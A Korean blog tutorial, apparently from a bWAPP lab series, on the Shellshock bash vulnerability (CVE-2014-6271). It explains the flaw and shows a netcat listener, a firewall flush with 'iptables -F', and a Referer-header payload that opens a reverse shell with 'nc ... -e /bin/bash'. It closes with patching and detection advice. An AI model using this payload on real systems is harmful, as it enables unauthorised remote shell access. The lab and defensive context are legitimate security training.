본문 바로가기
3. 웹 애플리케이션 취약점 진단/비박스를 활용한 웹 애플리케이션 취약점 진단

[비박스를 활용한 웹 취약점 진단] 13-1. 알려진 취약점이 있는 컴포넌트 사용 [쉘 쇼크 취약점]

by Robert8478 2023. 12. 14.

GNU BASH(Bourne Again Shell) 취약점이란? - CVE-2014-6271로 공개되었으며, 배시셸이 환경 변수를 처리하는 과정을 악용, 공격자가 시스템 보안을 우회해서 명령어를 실행할 수 있는 취약점이다. 배시 셸은 프로세스 환경을 이용해서 다른 셸 인스턴스에 환경변수, 셸함수 선언 기능을 제공한다. 함수 선언문에서 반복문으로 멈추지 않고 마지막까지 진행해서 추가된 셸 명령어까지 실행되는 것이다.

[난이도 하]

이번 페이지를 열면 shellshock.php 파일 실행 과정에서 shellshock.sh 파일이 작동한다. 이 과정에서 입력값 검증 미흡으로 셸쇼크 취약점 발생

우선 칼리리눅스에서 nc -lvp 8888 넷캣 명령어로 8888/TCP 포트 연결을 리스닝 해두자.
넷캣은 데이터 전송, 네트워크 연결 등 많은 곳에서 활용된다.
혹시나 iptables 방화벽 정책에 의해 포트가 제한되어 있을 경우 iptables -F 명령어를 미리 입력해서 정책을 잠시 풀어놓고 시도하자.

그 다음 버프슈트로 연결요청을 캡처하자. 여기서 변조할 부분은 Referer 값이다. 이곳에 공격자 서버에 셸 명령어를 허용하는 공격 코드 입력한다.
비박스에서는 넷캣을 사용하는데 -e 옵션이 허용되어 있기에 공격이 가능하다. 일반 리눅스의 경우 -e 옵션이 공격에 이용될 수 있어 제한중이다.

Referer: () { :;}; echo "this is Vulnerable!!!" $(/bin/sh -c "nc 192.168.56.101 8888 -e /bin/bash") 를 넣어주고 Forward 시킴으로써 셸 권한을 획득할 수 있었다. 이는 초반에 () { :; }; 가 정상적인 함수 부분을 의미하는데 이 뒤에 작성한 악성 코드가 취약점으로 인해 실행되는 것​

[대응 방안]
셸 쇼크는 많은 서비스를 사용하는 환경에서 발생한다. 프로그램 재컴파일이 필요한 부분이기에 각 벤더사를 통해 이에 대한 보안 패치가 이루어져야한다. 패치 버전이 적용되지 않는 동안에는 침해사고 대응 프로세스에 따라서 침입 탐지 차단 솔루션에서 탐지 패턴 적용하고 패턴 발견 시 차단하도록 한다. 또는 입력값에 대한 검증을 임시로 추가해서 대응해야 한다.